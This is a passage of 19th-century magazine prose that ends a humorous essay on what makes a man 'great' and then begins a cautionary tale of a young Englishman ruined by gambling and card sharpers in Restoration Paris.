+young innocence, when an extensive pudding would, in his ceremonial,
+have taken precedence of name and fame. He now understands, and, by
+understanding, suffers the more acutely under the impertinence. If acts
+of valour and command, or of senatorial display,--if a tyranny over
+empires, or mighty influence over the minds and feelings of successive
+generations,--if literary renown or public benefaction constitute
+greatness, he is himself of most diminutive dimensions. He knows it. He
+never for a moment dreamed of denying it. He has enjoyed no scope for
+being otherwise. He is perfectly aware of the fact, and would at once
+have admitted it. He needs not to have it perpetually pushed into his
+face, and thrust before his eyes to glare at him. The pauper feels that
+he is not one of the wealthy ones of the earth, without being reminded
+at every instant of the incurious circumstance by some rich bullionist
+shaking his pockets that the wretch may hear the voice of the gold
+jingling. His memory requires not to be so jogged on the subject. He
+recognises the truth of his meagre estate, and derives not a whit of
+pleasure from such external corroboration. It is an insult; and any
+raciness or merit of originality in it is altogether lost upon him. The
+wit is purely thrown away.
+
+How fares the boy when, like his primal sire, "he stands erect a man?"
+and in what spirit does he study the philosophy of "greatness?" He may
+bethink him of the false fruiterer's melon, how it lay on the stall, its
+sunny side laughing and coquetting with the eye of the wayfarer,--its
+rottenness and unsavoury portion in retirement and unseen below. He
+discovers that the "great" are gigantic in one line, but that "the line
+upon line" is not their predicate; in some matters they may perchance
+be far smaller than their neighbours. He is no longer the boy without
+experience of others, or the child who interprets literally; he measures
+not the monsters by his own standard; he endeavours not to poise them
+by his own weight,--with his own girth to buckle their circumference:
+his acquaintance serve his turn; society establishes and confirms his
+experience, that an average sprinkling of inherent "greatness" may be
+detected in all, though the world hath not cared to trumpet it.
+
+It becomes of difficult endurance to see our intimates thrust, as
+it were, on one side,--morally cast into the mire,--their qualities
+trampled as by heels. It mars our equability to find our friends in
+intellectual, philosophical, or worldly utility insinuated as no
+better than they should be,--to hear them classed as of the herd,
+essentially and merely gregarious,--vague portions of an unmeritorious
+whole,--negative existences, positive only in combination,--cyphers
+without value, that multiply but by relative position. Whereas in our
+young days we felt personally insulted by contrast with your "great
+men," in maturity we resent the impertinence as offered to our friends;
+for in our friends we can trace a "greatness," although the thing
+may not have been blazoned. Even in a man's household shall he see
+greatness, though it be obscure; and he shall discover that, whilst it
+is true that no man is "great to his valet," the comfortable conundrum
+is equally demonstrable, that ALL are GREAT. Your groom shall indite
+you verses that shall stir the hearts and haunt the dreams of your
+village maidens--will they compare Homer to him?--and your cook-maid
+shall be no small domestic oracle on the unfathomable mysteries of
+phrenology--what cares she for Combe and Spurzheim? Who lives, while yet
+his father lives, that does not hear the old man "great" in prophecy on
+the coming "crisis," and rich and ponderous upon the currency question?
+Who, in the book of the generations of his family, might not inscribe
+the name of some brother, a mighty man of valour, great amongst his
+playmates; or a sister, whose attire has given tone for a season to
+an emulous neighbourhood? And then, in the nineteenth century, who
+possesses not "great" uncles, who during the war have swayed, although
+unknown, victories by their strategy or disciplined obedience; or,
+in more peaceful triumph, have mightily influenced the election of a
+candidate by the despotism of their oratory? Of aunts--maiden ones--it
+needs not to speak. They are of the fortunate who require not greatness
+to be "thrust upon them." Of them it is safely assumed, that they are
+"born great" prospectively. This privilege however, is guaranteed to
+the "maiden" only; for marriage absorbs the bride into unity with her
+combined-separate--and "the crown of a good wife is her husband."
+
+Your village oracle, seated on his throne--the old oaken bench under
+the village elm-tree, after his weekly labours, on the Saturday night
+embalming his tongue in the aroma of the fragrant weed, and bribing his
+lips into complacent humour by sips from the chirping old October, is
+truly _great_. He is surrounded by listeners who love to pay homage to
+his power. Whilst he whiffs, they consult him on great interests,--it
+may be respecting the destiny of nations, or the desolating march of
+hostile armies,--it may be on the devastations of the turnip-fly.
+He lays his pipe aside; his words issue, like the syllables of the
+Pythoness, in the midst of fragrant fumes. They fix at once the
+unsettled,--they establish the doubtful,--they convict the speculative.
+
+On points of international law, Puffendorf and Grotius would shrink into
+nut-shells before him; they would discover their littleness: yet some
+deem _them_ great!
+
+Bilious disputants may deny that any can be great whom the world has not
+thought fit to canonise. "Indeed!" do I reply with the sarcastic smile
+of superiority with which it is customary to spill the arguments of men
+of straw whom controversialists set up for the sake of knocking down
+again--"Indeed! Were the Andes a whit smaller before their exact height
+was proclaimed to the same arrogant world? Was not the moon as great a
+ball in the days when the world esteemed it a green cheese, as it is
+now, when men are acquainted with its diameter?"
+
+"Ay," may reply my subtle disputant; "but these are physical facts,
+independent of opinion: mental, moral, social greatness, are widely
+different. They have no altitudes subject to trigonometrical survey by
+an ordnance-board like the Andes; they admit not of parallax, like the
+planets. Master Fridolin, your illustrations are no more worth than the
+kernel of a vicious nut."
+
+"What!" I answer, "you want a metaphysical instance, do you? Physics
+are too coarse. Well, sir, '_Magna est veritas_--Truth is great,'--that
+is to say, your canoniser, the _world_ say so. Now, pray, what does the
+world, much more a man of straw, know about truth? Confessedly less than
+it knows about my groom, who is _great_ in poetry,--my cook-maid, who is
+_great_ in phrenology,--my father, who is _great_ on those hobgoblins
+the coming crises; and, let me say, amazingly less than it knows, or
+will know, of my aunt Jemima, who was _great_ in political economy; let
+alone our village oracle, who is regarded, pipe and all, as _great_ by
+a larger portion of the inhabitants of the _world_ than can boast any
+intimate acquaintance with abstract verity.
+
+"And now, man of straw! a word in your ear:--unless you are dull in
+grain, methinks you will admit yourself answered."
+
+No fallacy is more palpable when examined, and, consequently, none is
+more preposterous, than that of connecting GREATNESS with the _world's_
+applause; yet for this, men fume and fret, struggle and strive, elbow
+their neighbours, and tread on their own bunnions, forgetting that they
+might be quite as _great_ if they would only be quiet; nay, that their
+chance of being so, without exertion, lies, according to Shakspeare's
+nice and accurate calculation, in the very comfortable proportion of
+two to one in their favour. Two GREAT men out of every three, find
+themselves so, without the least trouble on their own parts. They are
+born so, or their greatness "is thrust upon them." They have nothing
+to do in life but to button in the morning, unbutton at night, sip,
+masticate, and sleep, if their conscience and digestion will permit:
+they find themselves not a whit less great. The third alone--the "odd
+one"--acquires GREATNESS; and "odd" enough it is, to discover a sample
+of this meagre class.
+
+But the case may be settled to mathematical certainty. Statistical
+inquirers--men, the breath of whose nostrils are the bills of
+mortality--have discovered that a tenth part of all men born into the
+world die and are buried before one brief year has passed. It follows,
+therefore, as a corollary, that of those "born great" a great proportion
+die _great_ when extremely little. Their nurses see one tenth of all
+"the great men" born, fade and expire, hydrocephalic or rickety, ere
+their tendencies and tastes have toddled beyond the pap-boat. What
+does the world know about this evanescent tenth? What does mankind
+trouble about the grave offence of the sepulchre in seizing and gobbling
+up annually these great and small tithes? What say they against its
+appropriating clause? Why, the world is clearly ignorant of the departed
+great ones,--the buried little ones; yet their greatness is indisputable.
+
+The true philosophy of the matter, is the philosophy of the matters
+herein set forth; and, in her latter days, my aunt Jemima acknowledged
+it, for she felt it. There were no great women when she was youthful;
+but she lived to perceive greatness come upon her. It was not thrust--it
+was inherent: but it took time and acted leisurely in developing
+itself. It was not a creation or an acquisition, but a developement, an
+exudation of that which would _out_,--_nolens volens_.
+
+The real truth is this,--_All_ under circumstances are great, although
+few are aware that they are so. Celebrity has nothing to do with the
+affair; it may proclaim the fact, but does not constitute it;--as will
+hereafter be shown in the instance of my aunt Jemima.
+                                                    F. HARRISON RANKIN.
+
+
+
+
+                SCENES IN THE LIFE OF A GAMBLER.
+
+          "Lasciate ogni speranza voi che entrate."
+
+Paris!--there was once a magic in the name--a music in the sound.
+"Paris!" how often said I to myself when in another quarter of the
+globe, "Yes, I will one day visit thee--will revive the memory of
+the great events of which thou hast been the arena--thy Fronde--the
+League--the Revolution--the Cent Jours--the history of thy chivalrous
+François--thy noble-minded Henri--the Grand Monarque--the witty and
+profligate Regent--thy unfortunate Louis, and still more pitiable
+Empereur;--and then, the Gallery of the Louvre--the Museum of the
+Luxembourg--Versailles--St. Cloud--the Tuileries!" My dream was about to
+be realised.
+
+I was then in my twenty-fifth year. I had health--a sufficiency of the
+goods of fortune to purchase the enjoyment of the moderate pleasures
+of life. My person and manners were agreeable; my acquirements greater
+then those of most of my college contemporaries; and the fine arts were
+"my passion and my enjoyment." All these advantages, with a pardonable
+egotism, I had been canvassing during my solitary journey (solitary?
+no, my mind was occupied with the most enchanting reveries--the most
+intoxicating visions) from which I was only awakened at the barrier
+of Montmartre. How my heart beat with delight as, from the eminence
+that overlooks the city, I beheld its spires, and domes, and houses,
+huddled in the vaporous gloom of an evening in May! The day had been
+a glorious one; the air breathed balm. My caleche was open; and four
+posters whirled me rapidly through the Boulevards, and entered the
+gateway of the Hotel des Princes in the Rue Richelieu. This street was,
+as all who are acquainted with it, know, the centre and focus of the
+fashion,--the life and motion of Paris, and of the foreigners who then
+flocked to it from all parts of Europe, (for it was the third year of
+the Restoration,) and had caught some of the volatile spirit of its
+mercurial people.
+
+Times and dynasties change. Politics, that many-headed monster, now
+reigns supreme. Instead of the goddess Pleasure,--at whose shrine
+all sacrificed,--they have set up the Gorgon of parties. The army is
+no "état"--the church is no "état." It is become a city of national
+guards--reviewed by a king, with his three sons,--a family marked for
+assassination. There is no court--no _ancienne noblesse_. Everywhere
+distress and misery, hate and calumny, persecution and imprisonment,
+ruin, the grippe, and bankruptcy. Such is a picture of the Paris of 1837.
+
+But I was in the Rue Richelieu--the great artery of the life's blood
+of Paris. From it, as from a floodgate, rushed along in conflicting
+eddies, sweeping like a torrent, a crowd in quest of pleasure. Some
+were hurrying to the gaming-houses; some _aux Italiens_, to the Ambigu,
+of the Varietés, and the different theatres; others to the Palais
+Royal, which in its magic circle comprehends all that vice or luxury
+can invent to seduce the imagination or gratify the sense; then to
+Tortoni's, or the innumerable cafés, there to enjoy the _al fresco_ of
+the Boulevards Italiens seated under the trees, or to mingle with the
+multitude, chatting, laughing, or whispering in delighted ears under the
+well-lighted avenue of elms that had just put forth their young leaves.
+I made one of the throng, and would that _Armida_ Paris had had no worse
+enchantments--no more seductive pleasures. Alas! what have I now to do
+with them?--they have lost their charm. My hair is grey,--my heart is
+withered!
+
+But I anticipate.
+
+What do the phrenologists mean, by not having assigned to their chart
+of the skull a place for play? Gall, during his long practice in Paris,
+might surely have discovered it; for, of all people, the Parisians have
+this passion the most strongly developed. It is common, indeed, to the
+most savage, as well as the most civilised nations; for I have seen
+the Hindu strip himself naked, and bet at chukra the last rag in his
+possession; the African stakes his wife and children; but our neighbours
+may plunge their families, to the third and fourth generation, in misery
+and destitution. The pauper sells his only bed: the cradle of his child.
+The manufacturer takes to the Mont de Pieté his tools; steals those of
+his employers. The diplomatist and the figurante, the financier and the
+mendicant, all fall down before one idol--a Moloch worse than that of
+the Valley of Gehenna--a monster without pity or remorse, who delights
+in the tears, and groans, and gnashings of teeth of his votaries, nor
+quits his prey till he tracks them to the Morgue--name of horrid sound!
+and yet, the last refuge and sole resting-place of his infatuated
+victims.
+
+How easy it is to moralise! I should like to know if I always had this
+infernal bias, or if it was engrafted in me, or whether I was seized
+at that time with the general epidemy, taking the infection, like the
+cholera, from those about me, or from the air which I was respiring. Oh,
+worse than wind-walking pestilence is play! It has a subtle poison, and
+more kinds of death; no, not death! for, _I_ live,--if dying from day to
+day can be called life.
+
+The first weeks of my _séjour_ passed like days, nay hours; but I did
+not confine myself to Paris itself. Few foreigners, or even natives,
+know the beauty of the environs. These were the scenes of my rides by
+day. In the evening I assisted at some French _réunion_, or mixed in
+the _soirées_ of our own country; frequented the Opera Italienne, where
+not a note is lost: and such notes!--for Pasta was the prima donna.
+Being "_un peu friand_," I frequently dined at the Rocher de Concal. I
+mention that restaurant because I have reason to remember it. The Rocher
+de Concal boasts none of the magnificence of Very's, or Beauvilliers.
+The entrance is encumbered with the shells of the _huitres d'Ostende_,
+the most delicious of oysters. The rooms are not much larger than boxes
+at the opera; but they enclose a world of fun. The rustling of silk is
+often heard there, and one meets in the narrow passages veiled forms
+hastening to some mysterious rendezvous.
+
+It was here that I became acquainted with the Prince M----. His was a
+fatal initial; and might have reminded me of what he proved to be,--my
+Mephistophiles! M---- was one of those princes that "_fourmillent_" in
+all the capitals of Europe. He was about thirty years of age. His figure
+was tall, slight, and emaciated, and corresponded with his countenance,
+that was of a paleness approaching to marble, and might be said to have
+no expression, so complete a mastery had he obtained over his feelings.
+His equipage had nothing at first sight remarkable. The cabriolet was of
+a sombre colour, and the harness without ornaments; but the horse was
+not to be matched for beauty and power. His dress seemed equally plain;
+but, on closer inspection, you discovered it was of a studied elegance,
+the colours being so well matched that the eye had nothing particular
+on which to rest. He never was known to laugh, and seldom smiled; he
+was rather cold, though not forbidding in his manners, and perfectly
+indifferent whether he amused or not. He never spoke of the politics of
+the day, of his domains, of his stud or family,--much less of himself,
+his exploits, or his adventures. He never made an observation that was
+worthy of being repeated, yet never said a foolish thing. With the sex
+he was a great favourite, for he perfectly understood the science of
+flattery; but it was with the utmost tact that he put it in requisition.
+His address was perfect: he spoke French, and indeed several languages,
+with that admirable choice of phrase for which the Russians are
+remarkable. The sole occupation of his life was play; and to win or lose
+seemed a matter of perfect indifference to him, whatever the stake.
+
+There was also of the party that day another foreigner, Baron A----, who
+had been a Jew. He was his _compagnon de voyage_. Castor and Pollux were
+not more inseparable. This _alter ego_ was a little man, with a grey eye
+of singular archness, and a light moustache, as most Germans have. His
+whole fortune consisted of five hundred louis, which he carried about
+with him;--an excellent nest-egg; for he contrived to double annually
+this poor capital. One year he was at Rome, another at Florence, a
+third at Vienna--no; there he was too well known. A gambler, like a
+prophet, has no honour in his own country. The last spring he had passed
+in London, where, of course, be had the _entrée_ at Almack's, and now
+opened the campaign under the most promising auspices at Paris. The
+baron was a sort of lion's-provider--the pilot-fish of the shark.
+
+We separated at an early hour, and I afterwards met my new _friends_
+at an hotel in the Fauxbourg St. Honoré, where there was, as usual, an
+écarté-table. Ecarté was then all the rage; though, like our all-fours,
+it had originally been the game of the _peuple_, or rather in Paris of
+the _laquais_. It is a game uniting skill and chance; but it is a game
+of countenance; a game, also, in which the cards played with, being
+fewer in number than at whist, it is no difficult matter to scratch an
+important one, so as to know in time of need where to find it, or to
+_sauter le coup_. That evening, for the first time, I was induced to
+take a hand, and, in my innocence of such manoeuvres, wondered that my
+opponent turned up the king so much oftener than myself. In time my eyes
+were opened, and I discovered that other _tricheries_ were practicable.
+For instance, one morning, after a ball given by an English lady, there
+were found rolled up in one corner of the room two queens and a knave;
+and, on examining the écarté packs, these were missing,--had literally
+been discarded,--a circumstance which rendered the success of two
+officers of the _garde de corps_, who cleaned out the party, by no means
+problematical. But I was now initiated; and a witty writer says,
+
+    "That where that pestilence, play, once leaves a taint,
+    It saps the bone, and pierces to the marrow,
+    And then 'tis easier to extract an arrow."
+
+How willing we all are to put off the evil moment: to string anecdote
+on anecdote, and weave parenthesis in parenthesis, rather than come to
+the point! Does it not remind us of the tricks of the wrestler to avoid
+the grasp of his more powerful antagonist? But it must come: so let me
+proceed with my confession.
+
+As I was leaving the room, the prince came up to me and said, "Demain
+voulez-vous, Monsieur, être des notres?--There is a dinner at the
+_salon_, and I will take you with me as my 'umbra,' and present you to
+the Marquis--." In an evil hour I consented.
+
+The _maisons de jeu_ at Paris are farmed by a society, who purchase of
+the government the privilege of opening a certain limited number--if I
+remember right, five. In order to prevent unfair play, a _commis_ of
+the police is in daily attendance at the opening of the packs of cards,
+and they are lodged in the office every night. So far so good. But the
+advantages in favour of the bank are so great, that after the payment
+of several hundred thousand pounds sterling to the revenue, after
+defraying the expenses of hotels, cashiers, croupiers, lackeys, &c. &c.
+the _associés_ divide twenty or thirty per cent. At the head of these
+establishments is the _salon des étrangers_. The prime minister, or
+master of the ceremonies, was then the Marquis de L----. He was the last
+of the _aisles de pigeon_, which he wore _bien poudrées_. He had been
+an _emigré_, and, like many of them, had passed twenty years in England
+without knowing a word of the language. He was distinguished by an ease
+of manner and a politeness, though rather exaggerated, of the _vieille
+cour_. Soon after my introduction to him he lost his appointment, it
+having been discovered that the cashier, _by some mistake_, nightly gave
+him fifty napoleons in exchange for a billet of five hundred francs.
+By-the-by, the office of president of the _salon_ was in considerable
+request, and was afterwards filled by a general officer who had once
+been in the English service.
+
+It was one of the dinners that were given three times a-week. We
+passed through a range of servants in splendid liveries, to the _salon
+à manger_, where I found sixty guests, consisting, not only of the
+foreigners most distinguished for rank, fortune, and consideration, but
+_pairs de France, deputés_ of all parties,--in fact, the _élite_ of
+Paris. Before each, was placed a _carte_. It was not one of your English
+bills of fare, with its _plats de resistance_; but earth, air, and ocean
+had been ransacked, and all the skill of the most consummate _artistes_
+employed to furnish out the table. Every sort of wine circulated in
+quick succession; but, when I looked around me, I saw no hilarity in
+this assembly. The viands seemed to pall upon the taste, the goblet
+passed unquaffed. Gambling is the most selfish of vices; it admits of no
+society; every one seemed too much occupied with his own thoughts even
+to address his neighbour. Was I happy myself? No. The soul instinctively
+seems to foresee all the miseries that originate from a single false
+step, inspiring us with certain vague apprehensions that with a vain
+casuistry we endeavour to dissipate. In fact, I never enjoyed a dinner
+less; and was as pleased at its termination as most of the party were
+anxious for the real object of the meeting--_le commencement de la fin,
+ou la fin du commencement--le jeu_.
+
+The hotel where we assembled was of the time of Louis the Fifteenth,
+and had belonged to one of his numerous mistresses; the taste, however,
+of his predecessor reigned there. In front was a _cour d'honneur_,
+large enough to drawn the rattle of carriages and noise from without;
+and behind, was a garden laid out in the English style, and full
+of odoriferous shrubs, then in full bloom, particularly the lilac,
+the laburnum, and the red-thorn, that wafted their perfume through
+the unfolded doors, whilst at intervals was heard the plashing of
+a fountain. The three principal rooms, two of which were dedicated
+to _rouge et noir_ and French hazard, were in shape octagonal; the
+compartments, which were fantastically chased, and rich in gilding,
+served as a frame-work to pictures in the manner of Watteau, and
+probably by the hand of one of his pupils. The ceilings were similar in
+taste, and described some exploits of Jupiter, whose representative was
+the monarch himself according to the fashion of the day. The only light
+in each of these apartments, proceeded from a lamp shaded by green silk,
+that diffused its mellow and softened rays around, and threw a brilliant
+and dazzling effulgence on the table. Along the centre were ranged the
+dealers and bankers; and before them heaps of gold and silver, and
+_billets de banc_, and red and white counters, their representatives.
+On both sides were the players; and the broad glare, shadowless and
+impending, displayed their features. Many of them were known to me by
+name. There was, with his noble and portly figure and countenance, much
+resembling the busts of Charles Fox, the late Earl of T----, who with
+perfect _sangfroid_ lost his twenty-five thousand pounds a-year, and
+thought the only use of money was to buy pieces of ivory marked with
+numbers on them, and that the next pleasure in life to winning, was to
+lose. To his right was B---- H----, with his handsome profile, Hyperion
+locks, and unmeaning red-and-white face, incapable of an expression
+either of joy or chagrin: Lord M----, who went by the sobriquet of Père
+la Chaise; S----, bent double with care, and wrinkled with premature old
+age; the young and emaciated Lord Y----, the only one of his family who
+resembles his father, and inheriting from him the same propensity: and
+by his side Benjamin Constant, whose ardent spirit, like the volcano
+under Vesuvius, was for ever breaking out in the excitement of love, or
+politics, or play; his hair was grey, as if scorched by the working of
+his brain; his frame consumed as by an inward fire; his cheek bloodless
+as that of a corpse, for which, but for his eye, he might have been
+taken;--there was a desolateness in every trait of his countenance,
+and nervous sensibility accompanied every cast of the die that it was
+painful to witness. These were some of the _crêpes_ party. The Prince
+M---- was not among them: he had found more attractive metal--was
+closeted in a cabinet at écarté.
+
+For some hours I looked on, as an indifferent spectator. I had come
+fortified by a long colloquy held with myself, the result of which was
+a determination not to be duped. I had had too much experience of the
+world to fall into the snare--I had resisted many worse temptations--I
+knew too well the chances to risk even the few napoleons cautiously put
+into my purse. "Facilis descensus Averni," says the poet. Insensibly I
+took an interest in the game. I flattered my self-vanity by thinking
+that, when such a one threw in, I should not have been on the _contre_,
+or should have withdrawn my money before he _sauted_,--that I should
+have taken the odds, or betted them differently from Lord This or
+Monsieur _Tel_. In short, for me the veil of Isis was lifted, the
+mysteries of play revealed. I alone was inspired; and so for once it
+was to prove. One of the circle left his seat, and I filled up the
+vacancy. I sat writhing till my turn came. All had thrown out, and
+all had backed the casters. I now took the box: by my clumsy way of
+handling it, and shaking the dice, it was perceived that I was a tyro.
+And now the _contre_ was covered with gold and notes: "Seven!" I cried;
+"eleven's the nick!" I changed the main: still my luck continued. In
+short, I threw in nine times, leaving all my winnings to accumulate, and
+found myself in possession of twenty-four thousand francs. It was now
+suggested to me that the bank was only responsible for twelve thousand.
+Twice more did I tempt Fortune, and with equal success; and then handed
+over the box, and gave up my place to a new comer; and, without any one
+seeming to notice my departure, betook myself to my apartment--but not
+to sleep. I was in a fever of delight; visions more enchanting than
+those of Eldorado visited my couch. I had found the magic wand,--had
+gained the golden branch in the Æneid,--opened to myself a mine of
+wealth,--an inexhaustible treasure. At daybreak I raised myself in the
+bed, and counted it,--arranged in heaps the glittering treasure. I
+had all Paris in my hand! I would have an hotel, I would have horses,
+carriages, all that wealth could purchase should be mine. That gold
+which others sighed for, toiled for, sinned for, was mine, easily
+obtained, and won expressly to be spent. Horace, when in his poetic
+dream of immortality he cried "Album mutor in alitem," and soared above
+the heads of the admiring world, felt no raptures compared with mine.
+
+My success was soon blazoned abroad, and my gains exaggerated. In the
+course of the day I had a visit of congratulation from the prince.
+"There is a fête and ball at Frascati," said he, on taking leave; "you
+will be there?" There was a devilish smile on his face. It was the first
+time I had ever seen him smile.
+
+It was ten o'clock, and that temple of Circe was flooded with light, and
+filled with women and men of all ages;--no, not of all, for one of the
+conditions of admission is, besides being well dressed, that a person
+must be _of age_. _Le Jeu_ has no objection to the gold of a father, a
+lover, or a husband; but he disdains the pocket-money of a minor. He has
+great respect for all the decencies of life: he requires a well-filled
+purse and an elegant toilette. Enter, ye rich and lively!--come, and
+welcome! There is sure to be gold where there are women, and woman where
+there is gold.
+
+At the entrance of this hell, the _laquais_, after a scrutiny of my
+person, took my hat, and, by means of an iron instrument attached to
+a long pole, with a practised dexterity lifted it to peg 200, where
+it assumed its place in the well-marshalled ranks of its comrades.
+I afterwards observed that it was the only thing most of the owners
+carried away with them.
+
+The first room was occupied by a roulette table. The grand saloon,--of
+which there is, or was, an admirable picture in the Oxford Street
+Bazaar, containing the well-known portraits of very many who frequented
+it,--is dedicated to _rouge et noir_, or _trente et quarante_, and was
+encircled two or three deep by a crowd of both sexes, all preserving
+a profound silence, only interrupted by the _Messieurs, faites votre
+jeu!--Le jeu est fait!--Rien plus!_ of the dealer; for the noise of
+the _ratliers_ that had shovelled the gold and five-franc pieces into
+a heap had ceased, and all were breathlessly awaiting the _coup_.
+The _coup_ was made: _quarante: Rouge gagne_. It was then a horrid
+sight to mark the expression of the different feelings that agitated
+this assembly--this Pandæmonium! Some tore their hair from their
+heads in handsful,--some gnashed their teeth like the damned in the
+Sistine chapel,--others, their eyes almost starting out of their
+sockets, uttered horrid oaths, and blasphemous exclamations,--and one,
+who had his hand in his breast, withdrew it, dyed in blood, without
+being sensible of the wounds his nails had inflicted! But, as if this
+spectacle of tortured and degraded humanity were not enough, it was
+still more appalling to observe the countenances of the women, who had
+staked their last louis on the turn of the card! Their splendid dresses,
+their silks and gauze, their _cachemires de l'Inde_, that glitter of
+gold and gems, their necklaces of pearl, and ear-rings of diamond,--all
+that serves to heighten and embellish beauty, by a horrid contrast only
+gave them a greater deformity, reminding us of Pauline Borghese on her
+death-bed daubing her cadaverous cheeks with rouge, and tricking herself
+out in the same magnificent costume she had worn in the Tuileries when
+she shone the wonder and admiration of Paris; assuming in the last
+agonies of dissolution the voluptuous attitude she had chosen for that
+masterpiece of art, that wonderful creation of the greatest of modern
+sculptors, Canova.
+
+Oh! that these Phrynes could at that moment have seen in the mirrors
+that on all sides reflected them, their hollow eyes--their violet
+lips--their livid cheeks! The snakes of Leonardo's Medusa would have
+made them perfect. No; they had no eyes or ears but for that hideous old
+Sultan whose seraglio they had formed,--_le Jeu_.
+
+The _rouge et noir_ table being thus _agreeably_ filled, I sat down to
+roulette, and placed before me my packet of notes; being determined
+this time to break the bank. I turned some of my _billets_ into gold,
+and began, during the revolutions of the wheel of Fortune, to cover the
+cyphers. Sixty-two times the original stake would be good interest for
+less than as many seconds! Now for my inspiration--but this time my
+spirit of prophecy had fled. There was no prize for me. The ball still
+made its accustomed rounds, and lost itself in some number where I had
+no stake: now it bounded along, and hung suspended like a bird hovering
+over its nest; and then, just as it was about to crown my wishes, took
+a new spring, and, with a provoking coquetry, lavished its favours on
+one who had not courted them with half, perhaps only the twentieth
+part, of the fervour I had done. Sometimes, as if to lead me on in the
+pursuit, she tantalised me by hiding herself in the next number to that
+I had chosen; and then, the succeeding minute crushed all my hopes, and
+reduced them to nothing, with some zero rouge or zero blanc, or the
+double misery of two zeros.
+
+I now gave up the lottery of numbers, and betook myself to that of
+colours. Still I was no diviner. If I made black my favourite, there
+was sure to be a run on red; and _vice versâ_. I lost my coolness--my
+temper. I doubled my stakes,--trebled them. Still the _ratliers_ did
+their merciless office; the _croupiers_ still with imperturbable
+nonchalance swept into a gulph, from which was no return, my notes
+and gold. In short, in a few hours, I was not only stript of all my
+winnings, but had borrowed of one of the lackeys three thousand francs,
+which I was to return the next morning, with a premium of two per cent.
+He was one of the myrmidons of the _salon des étrangers_, and knew I had
+the _entrée_, and that the loan was a safe one; nay, he pressed me to
+borrow more: but--_ohe, jam satis!_--I hurried to my porter's lodge, and
+thence to my apartment, but in a widely different mood to that in which
+I had entered it the night before. All the scenes of wealth and riches
+that my imagination had conjured up, had vanished. I had horrid dreams.
+The curtain was withdrawn; it showed me the sad reality of all that had
+happened, and all that was to happen.
+
+The next day I locked my room-door, and held a long dialogue with my
+conscience. I felt two powers at work within me--two inclinations
+striving for mastery--two persons, as it were, one acting against and
+in spite of the other. I endeavoured to arm myself against myself. It
+was a violent struggle between the principles of good and evil. Whether,
+like Hercules, I should have made the same choice, I know not; but vice
+never wants for arguments or supporters, and in the afternoon came an
+invitation, by one of his emissaries, from the prince, to dine with him.
+My foible--the rock on which I have made shipwreck--has been, that I
+never could say, no. I accepted it.
+
+Besides the inseparables, were present, on this occasion, a Prussian
+colonel and a Polish count. The dinner was _recherché_; the dishes
+having been sent from different _restaurants_ famous for their
+_cuisine_: the _ravioli_, for instance, from an Italian house, and the
+_omelette Russe_ from the _café de Paris_. The mock and real champagne
+were well iced, and the Chambertín a bouquet of violets. I endeavoured
+to find a Lethe in the glass, which circulated freely, though it only
+circulated; for the prince, on the plea of health, drank lemonade, and
+his guests, as the Italians say, baptised their Lafitte with water. Two
+nights such as I had passed did not diminish the effect of the wine; and
+when it was proposed to play at faro, though I knew nothing of the game,
+I made no objection. It was suggested that the baron should be banker.
+He had come ready prepared; opened his strong box, and produced his five
+hundred louis. The practised neatness with which he turned up the cards,
+the accuracy of his calculations, and correctness of his accounts, might
+have excited the admiration of any _croupier_ at the _salon_; certainly
+none of them understood his _métier_ better. I began with very small
+stakes, which were unlimited. I soon, however, followed the example of
+the circle, and played higher. I lost. The two strangers appeared to
+lose also, and retired at an early hour.
+
+I had added one hundred louis to the baron's capital. Whilst I was
+in search of my hat to make my escape, A---- had been employed in
+preparing an écarté pack, and offered to give me my _revanche_; our host
+encouraging me to take it by saying he would back me.
+
+I sat down; and, as the prince was interested in the result, I asked
+his advice, but he told me, he never gave or took it. My adversary had
+an extraordinary run of luck,--almost always _voled_ me when I did not
+propose, and scored the king so often that I could not help observing
+it. The prince in the mean time walked about the room, occasionally
+looking over my cards; at length he declined participating in my stakes,
+and betted with me largely on his own account. Ill fortune continued
+to pursue me; still I played higher and higher, till my score had
+swelled to a frightful amount. My immense losses sobered me, and I
+then had my suspicions that all was not right. Opposite to the table
+was a mirror over the chimney, which extended from the marble-slab to
+the ceiling. I was fronting it, when I perceived by the reflection,
+the prince standing over my shoulder: he was taking snuff, and, in the
+act of so doing, raised up his fingers in a manner that excited my
+attention. I now determined to watch the pair more closely. I observed
+that the German always awaited the sign before he decided on proposing
+or refusing; and once inadvertently did so, without even looking at his
+own hand. It is true, we were both at four, but I had not an _atout_
+or court-card: the consequence was, that I lost the game. It was now
+clear that I had fallen into the hands of sharpers. I found myself
+minus thirty thousand francs. Throwing down the pack, I got up, and
+walked about the room for some time, in order to collect my thoughts and
+consider how to act. Though confident of having been cheated; almost
+unknown as I was in Paris, I was aware it would not be easy to convince
+their numerous and powerful friends of the fact. I therefore determined
+to pay the money, and insult one or the other so grossly that he must
+give me my _revanche_ in a different way. Thinking that the scheme,
+however concocted, had been put in execution at the prince's own house,
+and that it was rendered still blacker by a breach of hospitality, I
+made choice of him with perfect self-possession. I asked for pen, ink,
+and paper; and having written cheques payable on demand at my bankers'
+in London for the _par nobile fratrum_, I turned to the prince, and
+said, presenting him with his share of the plunder, "Monsieur, voilà
+votre argent: vous savez comment il étoit gagné." Running his eye over
+the amount to ascertain if it were correct, he carefully folded up the
+paper, and put it in his pocket; and then, with imperturbable coolness,
+turned to me, and said, "Monsieur, vous m'avez insulté, et vous me
+ferez l'honneur de m'en rendre raison." "Très, très volontiers," I
+replied; "c'est ce que je cherchois." "The sooner the better," said the
+prince; "I will leave my friend the baron to settle the preliminaries."
+With these words he walked slowly to the door, and left me with his
+associate. He had not been gone more than a few minutes, when the
+Polish count, who was lodging in the same hotel, (it was in the Rue de
+la Paix,) and had just returned from some orgies, made his appearance,
+probably thinking to find us still engaged in play. The baron, without
+entering into particulars, immediately explained to him that the prince
+and myself had had a serious misunderstanding, and that it had ended
+in his claiming satisfaction. I was not sufficiently intimate with any
+one in Paris to disturb him at that hour in the morning; and, thinking
+it a mere formality to have a second, readily asked the count to be
+my friend. He consented with the best grace imaginable. It was now
+explained to me, that it is the custom (though I believe such is not the
+case) for the challenger to choose his own weapons.
+
+"The prince," observed the baron, "has two blades of the finest Spanish
+steel; they are beautifully watered, and it is a pleasure to look at
+them. They have never yet been used: Monsieur," added he, addressing
+the count, "shall have his choice." All this was said with the utmost
+nonchalance, as though he had been only treating of a trial of skill,
+and not a duel _à l'outrance_.
+
+I had never taken a fencing-lesson since I was at school, and then
+only for a few months of old Angelo. The prince I knew to be almost as
+dexterous in the art as a _maître d'armes_. The first qualification for
+an accomplished gambler is to be a duellist; foils were at that moment
